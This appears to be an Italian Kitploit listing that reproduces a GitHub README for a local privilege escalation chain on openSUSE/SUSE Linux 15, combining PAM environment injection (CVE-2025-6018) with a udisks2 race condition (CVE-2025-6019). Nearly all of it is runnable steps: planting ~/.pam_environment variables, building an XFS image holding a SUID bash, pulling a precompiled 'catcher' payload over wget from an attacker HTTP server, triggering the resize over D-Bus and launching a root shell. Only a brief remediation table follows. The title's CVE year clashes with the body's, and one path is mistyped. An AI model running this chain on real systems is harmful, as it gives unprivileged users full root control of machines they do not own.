Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-6018-9-Local-Privilege-Escalation-Chain — # Catena di exploit per l'escalation dei privilegi locali su SUSE Linux, che combina l'iniezione dell'ambiente PAM e una condizione di gara in udisks2 per ottenere una shell di root. | Kitploit
Strumenti/GitHubGitHub/m0r4a/cve-2026-6018-9-local-privilege-escalation-chain
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPost-ExploitPenetration TestingRed Teaming
GitHubm0r4a/cve-2026-6018-9-local-privilege-escalation-chain

CVE-2026-6018-9-Local-Privilege-Escalation-Chain

# Catena di exploit per l'escalation dei privilegi locali su SUSE Linux, che combina l'iniezione dell'ambiente PAM e una condizione di gara in udisks2 per ottenere una shell di root.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
1164 mesi faNon ancora revisionato

CVE-2025-6018 + CVE-2025-6019: Catena di Escalation dei Privilegi Locali

Sistema operativo target: openSUSE Leap 15.x / SUSE Linux Enterprise 15.x
Accesso richiesto: Utente locale non privilegiato con accesso SSH
Risultato: Shell di root completa

Panoramica

Questo documento descrive lo sfruttamento manuale di due vulnerabilità concatenate di escalation dei privilegi locali scoperte dalla Qualys Threat Research Unit:

  • CVE-2025-6018 — Iniezione di variabili d'ambiente PAM tramite ~/.pam_environment, che consente a un utente SSH remoto di ottenere lo stato Polkit allow_active normalmente riservato agli utenti fisicamente presenti alla console.
  • CVE-2025-6019 — libblockdev (usato da udisks2) non applica il flag nosuid quando monta temporaneamente un filesystem durante un'operazione D-Bus Filesystem.Resize, consentendo l'esecuzione di un binario SUID da un dispositivo a loop controllato dall'utente.

Concatenate, queste vulnerabilità consentono a qualsiasi utente SSH non privilegiato di elevare i propri privilegi a root senza alcuna interazione da parte di altri utenti.

Prerequisiti

Macchina dell'attaccante (Kali Linux):

  • xfsprogs installato (sudo apt install xfsprogs -y)
  • gcc disponibile
  • Capacità di server HTTP (python3 -m http.server)

Macchina target:

  • openSUSE Leap 15.x o SUSE Linux Enterprise 15.x
  • udisks2 e polkit installati (predefiniti su questi sistemi)
  • gdbus disponibile (parte di glib2, installato per impostazione predefinita)
  • Accesso SSH come utente non privilegiato

Passo 1: Verifica della Vulnerabilità

Dopo aver ottenuto l'accesso SSH come utente non privilegiato, conferma che il target sia vulnerabile.

Controlla il sistema operativo:

root@kitploit:~
cat /etc/os-release | grep -E "NAME|VERSION"

Il sistema deve essere openSUSE Leap 15.x o SUSE Linux Enterprise 15.x.

Verifica che pam_env legga i file utente:

root@kitploit:~
grep "pam_env" /etc/pam.d/common-auth

Cerca user_readenv=1 o semplicemente la presenza di pam_env.so. Nelle installazioni SUSE predefinite questa funzionalità è abilitata.

Verifica che udisks2 e polkit siano in esecuzione:

root@kitploit:~
systemctl is-active udisks2
systemctl is-active polkit

Controlla la policy Polkit per la configurazione dei dispositivi a loop:

root@kitploit:~
grep -A3 "loop-setup" /usr/share/polkit-1/actions/org.freedesktop.UDisks2.policy

Il valore allow_active deve essere yes.


Passo 2: CVE-2025-6018 — Ottenere allow_active tramite Iniezione PAM

Questa vulnerabilità sfrutta il fatto che pam_env.so legge ~/.pam_environment durante il login SSH e inietta quelle variabili nell'ambiente della sessione prima che pam_systemd.so valuti il contesto della sessione. Impostando XDG_SEAT e XDG_VTNR, l'attaccante inganna systemd-logind facendogli trattare la sessione SSH remota come una sessione di console fisica, concedendo i privilegi Polkit allow_active.

Inietta le variabili:

root@kitploit:~
echo "XDG_SEAT DEFAULT=seat0" > ~/.pam_environment
echo "XDG_VTNR DEFAULT=1" >> ~/.pam_environment
echo "XDG_SESSION_TYPE DEFAULT=x11" >> ~/.pam_environment

Disconnettiti e riconnettiti tramite SSH per attivare l'elaborazione PAM:

root@kitploit:~
exit
root@kitploit:~
ssh user@<target_ip>

Verifica che allow_active sia ora concesso:

root@kitploit:~
loginctl list-sessions
loginctl show-session <SESSION_ID> | grep -E "Active|Seat|VTNr|Remote"

L'output deve mostrare:

root@kitploit:~
Active=yes
Seat=seat0
VTNr=1

Imposta l'ID della sessione e l'indirizzo D-Bus se non vengono popolati automaticamente:

root@kitploit:~
export XDG_SESSION_ID=<SESSION_ID>
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

Passo 3: Preparare l'Immagine XFS Dannosa (Macchina dell'Attaccante)

L'immagine XFS deve essere formattata con funzionalità compatibili con il kernel SUSE 15. Le versioni moderne di xfsprogs abilitano funzionalità come exchange, parent, bigtime, inobtcount e nrext64 per impostazione predefinita, che non sono supportate dai kernel SUSE più vecchi e causeranno errori di montaggio. I seguenti flag producono un'immagine XFS V5 compatibile:

root@kitploit:~
dd if=/dev/zero of=/tmp/xfs.image bs=1M count=500

mkfs.xfs -f -m crc=1,reflink=0,rmapbt=0,inobtcount=0,bigtime=0 -i sparse=0,nrext64=0,exchange=0 -n parent=0 -d agcount=4 /tmp/xfs.image

Monta l'immagine e inietta un binario bash SUID:

root@kitploit:~
sudo mkdir -p /tmp/mnt
sudo mount -o loop /tmp/xfs.image /tmp/mnt
sudo cp /bin/bash /tmp/mnt/bash
sudo chmod 4755 /tmp/mnt/bash
ls -la /tmp/mnt/bash
sudo umount /tmp/mnt

L'output deve mostrare -rwsr-xr-x 1 root root.


Passo 4: Preparare il Catturatore per la Condizione di Gara (Macchina dell'Attaccante)

Poiché la finestra di montaggio vulnerabile durante Filesystem.Resize è larga solo pochi millisecondi, è necessario un binario C compilato per catturarla in modo affidabile. Un semplice loop Bash è troppo lento.

Scarica il payload precompilato dalla pagina delle release:

root@kitploit:~
wget https://github.com/m0r4a/CVE-2026-6018-9-Local-Privilege-Escalation-Chain/releases/download/v0.0.1/payload -O /tmp/payload

[!NOTE] Puoi anche compilare tu stesso il binario. Il codice sorgente è disponibile in payload.c.

Servi entrambi i file tramite HTTP:

root@kitploit:~
cd /tmp && python3 -m http.server 8888

Passo 5: Trasferire i File al Target

root@kitploit:~
# Trasferisci l'immagine XFS
wget http://<attacker_ip>:8888/xfs.image -O /tmp/xfs.image

# Trasferisci il binario catturatore
wget http://<attacker_ip>:8888/payload -O /tmp/payload
chmod +x /tmp/payload

Passo 6: CVE-2025-6019 — Sfruttare la Condizione di Gara di udisks2

Questo passaggio richiede due sessioni SSH simultanee sul target.

Configura il dispositivo a loop (in entrambe le sessioni):

root@kitploit:~
udisksctl loop-setup -f /tmp/xfs.image --no-user-interaction

Annota il dispositivo a loop assegnato, ad esempio /dev/loop1.

Sessione 1: Avvia il catturatore e lascialo in esecuzione:

root@kitploit:~
/tmp/payload

[!NOTE] Se il catturatore esce immediatamente senza produrre una shell di root, prova ad avviarlo prima di configurare il dispositivo a loop e ripeti la sequenza.

Sessione 2: Attiva immediatamente il resize:

root@kitploit:~
export DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/<UID>/bus

gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop1 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

La chiamata Resize restituirà un errore, ma prima di fallire, libblockdev monta il filesystem in un percorso temporaneo sotto /tmp/blockdev.XXXXXX/ senza il flag nosuid. Il catturatore nella Sessione 1 rileva questo montaggio, esegue il binario bash SUID al suo interno, copia una shell di root in /tmp/rootbash e la avvia.

[!NOTE] Se riscontri problemi con Not authorized to perform operation, prova a usare il terminale che hai utilizzato con successo per eseguire il comando udiskctl loop-setup... e usa l'altra shell per eseguire lo script /tmp/payload.


Passo 7: Ottenere la Shell di Root

Una volta che il catturatore completa l'operazione, una shell di root viene avviata automaticamente oppure può essere ottenuta tramite:

root@kitploit:~
/ttmp/rootbash -p
whoami
# root

Rimedio

Scarica lo strumento
ComponenteCorrezione
CVE-2025-6018Disabilita user_readenv in PAM: imposta user_readenv=0 in /etc/pam.d/common-auth
CVE-2025-6019Aggiorna libblockdev e udisks2 alle versioni patchate fornite dal vendor della distribuzione
Indurimento PolkitCambia allow_active in auth_admin per org.freedesktop.udisks2.loop-setup nel file di policy UDisks2